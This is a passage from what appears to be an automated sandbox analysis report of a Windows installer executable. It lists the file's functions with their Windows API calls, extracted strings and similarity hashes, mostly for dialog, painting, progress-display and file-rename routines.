SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00404054
GetDlgItem.USER32(?,00000003), ref: 004040FA
ShowWindow.USER32(00000000,?), ref: 0040411B
EnableWindow.USER32(?,?), ref: 0040412D
EnableWindow.USER32(?,?), ref: 00404148
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040415E
EnableMenuItem.USER32(00000000), ref: 00404165
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040417D
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404190
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041BA
SetWindowTextW.USER32(?,00423728), ref: 004041CE
ShowWindow.USER32(?,0000000A), ref: 00404302

Strings

(7B, xrefs: 004041AA

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: a59e4a4ec43d7d40c0b393105adb60ca25607e9856a65bb271622870994d4568
Instruction ID: 85a8b1cb5875a9f0130709c86f20b78f231723f1bf47f2e7597622744019d293
Opcode Fuzzy Hash: a59e4a4ec43d7d40c0b393105adb60ca25607e9856a65bb271622870994d4568
Instruction Fuzzy Hash: 88C1A1B1640200FFDB216F61EE85D2B3BA8EB95305F40053EFA41B21F0CB7959529B6E

Function 004044E2 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404580
GetDlgItem.USER32(?,000003E8), ref: 00404594
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045B1
GetSysColor.USER32(?), ref: 004045C2
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004045D0
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004045DE
lstrlenW.KERNEL32(?), ref: 004045E3
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004045F0
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404605
GetDlgItem.USER32(?,0000040A), ref: 0040465E
SendMessageW.USER32(00000000), ref: 00404665
GetDlgItem.USER32(?,000003E8), ref: 00404690
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004046D3
LoadCursorW.USER32(00000000,00007F02), ref: 004046E1
SetCursor.USER32(00000000), ref: 004046E4
LoadCursorW.USER32(00000000,00007F00), ref: 004046FD
SetCursor.USER32(00000000), ref: 00404700
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040472F
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404741

Strings

Call, xrefs: 004046BF
N, xrefs: 0040467E
YD@, xrefs: 004046EC

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N$YD@
API String ID: 3103080414-3276248472
Opcode ID: 777072e4300f85645cf7ffde5545d8883defabb32dd208014d98b1e23baa6229
Instruction ID: b733f22c3e4a4344af423a89e947fb2470a434e6d87e1c723dfed1fecd84da00
Opcode Fuzzy Hash: 777072e4300f85645cf7ffde5545d8883defabb32dd208014d98b1e23baa6229
Instruction Fuzzy Hash: E16172B1A00209BFDB109F60DD85AAA7B69FB85354F00813AFB05BB1E0D7789951CF58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00405FFC Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406197,?,?), ref: 00406037
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406040

Part of subcall function 00405E07: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004060F0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E17
Part of subcall function 00405E07: lstrlenA.KERNEL32(00000000,?,00000000,004060F0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E49

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 0040605D
wsprintfA.USER32 ref: 0040607B
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060B6
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060C5
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FD
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 00406153
GlobalFree.KERNEL32(00000000), ref: 00406164
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040616B

Part of subcall function 00405EA2: GetFileAttributesW.KERNELBASE(00000003,00402F57,C:\Users\user\Desktop\Ub46mg9pn4.exe,80000000,00000003), ref: 00405EA6
Part of subcall function 00405EA2: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405EC8

Strings

%ls=%ls, xrefs: 00406071
[Rename], xrefs: 004060E5, 004060F7

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: cc1e011b744674eb6045294d1f1ba8016b3cffab7c6b3a5cc0e4edd922729f6b
Instruction ID: 7a97944e4ecdd21f919348e7cfc29446421eaa6be6f71a8f5a2bdcac5b6ce208
Opcode Fuzzy Hash: cc1e011b744674eb6045294d1f1ba8016b3cffab7c6b3a5cc0e4edd922729f6b
Instruction Fuzzy Hash: 953139703007157BC2206B259D49F673A6CEF45714F15003AFA42FA2D2DE7C992586AD

Function 00406644 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00403464,C:\Users\user\AppData\Local\Temp\,763B3420,004036D5,?,00000006,00000008,0000000A), ref: 004066A7
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066B6
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00403464,C:\Users\user\AppData\Local\Temp\,763B3420,004036D5,?,00000006,00000008,0000000A), ref: 004066BB
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00403464,C:\Users\user\AppData\Local\Temp\,763B3420,004036D5,?,00000006,00000008,0000000A), ref: 004066CE

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406645, 0040664A
*?|<>/":, xrefs: 00406696
"C:\Users\user\Desktop\Ub46mg9pn4.exe", xrefs: 00406644

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Ub46mg9pn4.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-479960633
Opcode ID: 77b224228f8c57f44dbd024cb25da7c2d773c522f2af8fdd1da9e6af7933f215
Instruction ID: 91382b34e261ab6a6b837a41ec70345278d3faa82d58aea2d88f3062b19e38b1
Opcode Fuzzy Hash: 77b224228f8c57f44dbd024cb25da7c2d773c522f2af8fdd1da9e6af7933f215
Instruction Fuzzy Hash: 8C11E61580070295DB302B149C40E7766B8EF587A4F12483FED86B32C0E77E4CD286AD

Function 004043AC Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043C9
GetSysColor.USER32(00000000), ref: 004043E5
SetTextColor.GDI32(?,00000000), ref: 004043F1
SetBkMode.GDI32(?,?), ref: 004043FD
GetSysColor.USER32(?), ref: 00404410
SetBkColor.GDI32(?,?), ref: 00404420
DeleteObject.GDI32(?), ref: 0040443A
CreateBrushIndirect.GDI32(?), ref: 00404444

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: d93bb5df8f2b76ccefaad0a5d1bb7d3eec77da1dbbaa67d130298efb7d8eee66
Instruction ID: 701ae6dfa2b2a9365c03cf2c9b1b76f0db24f0feb35c46e7544c905291b2d973
Opcode Fuzzy Hash: d93bb5df8f2b76ccefaad0a5d1bb7d3eec77da1dbbaa67d130298efb7d8eee66
Instruction Fuzzy Hash: 4B216671500704AFCB219F68DE48B5BBBF8AF81714F04893EED95E22A1D774E944CB54

Function 00405414 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EEC,00000000,?), ref: 0040544C
lstrlenW.KERNEL32(00402EEC,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EEC,00000000), ref: 0040545C
lstrcatW.KERNEL32(00422708,00402EEC,00402EEC,00422708,00000000,00000000,00000000), ref: 0040546F
SetWindowTextW.USER32(00422708,00422708), ref: 00405481
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054A7
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054C1
SendMessageW.USER32(?,00001013,?,00000000), ref: 004054CF

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: ae6ed24060c0e1e5203a454600f337dd8354be9e28b06d37a059070ec5477373
Instruction ID: b4c9d1203d7b93b364d12d55a96473d81469f1a16e33619bfa53f57c996d0385
Opcode Fuzzy Hash: ae6ed24060c0e1e5203a454600f337dd8354be9e28b06d37a059070ec5477373
Instruction Fuzzy Hash: 0E219071900518BACF119FA5DD85ADFBFB4EF45364F10803AF904B62A0C3794A90CFA8

Function 00402E72 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402E8D
GetTickCount.KERNEL32 ref: 00402EAB
wsprintfW.USER32 ref: 00402ED9

Part of subcall function 00405414: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EEC,00000000,?), ref: 0040544C
Part of subcall function 00405414: lstrlenW.KERNEL32(00402EEC,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EEC,00000000), ref: 0040545C
Part of subcall function 00405414: lstrcatW.KERNEL32(00422708,00402EEC,00402EEC,00422708,00000000,00000000,00000000), ref: 0040546F
Part of subcall function 00405414: SetWindowTextW.USER32(00422708,00422708), ref: 00405481
Part of subcall function 00405414: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054A7
Part of subcall function 00405414: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054C1
Part of subcall function 00405414: SendMessageW.USER32(?,00001013,?,00000000), ref: 004054CF

CreateDialogParamW.USER32(0000006F,00000000,00402DD7,00000000), ref: 00402EFD
ShowWindow.USER32(00000000,00000005), ref: 00402F0B

Part of subcall function 00402E56: MulDiv.KERNEL32(00000000,00000064,000021B6), ref: 00402E6B

Strings

... %d%%, xrefs: 00402ED3

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 9d96e1b775b00f8f1aa504ccf668d13eff31e418fbd4a6343fc61565dbea9545
Instruction ID: c2ec4548d439a14d597b05689786213ff5532ac021c242b5895b0761ec4a5705
Opcode Fuzzy Hash: 9d96e1b775b00f8f1aa504ccf668d13eff31e418fbd4a6343fc61565dbea9545
Instruction Fuzzy Hash: 0501C430440724EBCB31AB60EF4CB9B7B68AB00B44B50417FF945F12E0CAB844558BEE

Function 00404CDE Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404CF9
GetMessagePos.USER32 ref: 00404D01
ScreenToClient.USER32(?,?), ref: 00404D1B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D2D
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D53

Strings

f, xrefs: 00404D2F

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: b067d4b0ecc7c77c1c3f0caef97ada8ed48413e9bef28a1d47140c0a876cf8aa
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: AD015E71A0021DBADB00DB94DD85BFEBBBCAF95715F10412BBA50B62D0C7B899018BA4

Function 00401DB3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DB6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD0
MulDiv.KERNEL32(00000000,00000000), ref: 00401DD8
ReleaseDC.USER32(?,00000000), ref: 00401DE9
CreateFontIndirectW.GDI32(0040CDE0), ref: 00401E38

Strings

Tahoma, xrefs: 00401E1E

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: dd5e8fa4d463f4addcea7a8cc9fa64d55b0ecfa5d277173ec9cca7ca7d10c693
Instruction ID: c2f05a2c3ba2ec5405c4fe8fe652dd8f1d703414ee124caa90b8b383e79e86eb
Opcode Fuzzy Hash: dd5e8fa4d463f4addcea7a8cc9fa64d55b0ecfa5d277173ec9cca7ca7d10c693
Instruction Fuzzy Hash: 3201B171904241EFE7006BB0AF4AB9A7FB0BF55301F10493EF242B71E2CAB800469B2D

Function 00402DD7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402DF5
wsprintfW.USER32 ref: 00402E29
SetWindowTextW.USER32(?,?), ref: 00402E39
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E4B

Strings

verifying installer: %d%%, xrefs: 00402E1E
unpacking data: %d%%, xrefs: 00402E17, 00402E27

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 5563c221c1669b5fd2184c8b70bdefae7b5ad080d5cf5862aa05c867891839d9
Instruction ID: 0bc749b122006b2f9f6abad3e9991ed6065550717762caf8ffdc158a825a6066
Opcode Fuzzy Hash: 5563c221c1669b5fd2184c8b70bdefae7b5ad080d5cf5862aa05c867891839d9
Instruction Fuzzy Hash: 69F0367154020DABDF206F50DD4ABEA3B69FB00714F00803AFA06B51D0DBFD55598F99

Function 100024A4 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 1000256D
GlobalFree.KERNEL32(00000000), ref: 100025A8

Memory Dump Source

Source File: 00000001.00000002.120011465970.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.120011438021.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011492238.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011517371.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Ub46mg9pn4.jbxd

Similarity

API ID: Global$Free$Alloc
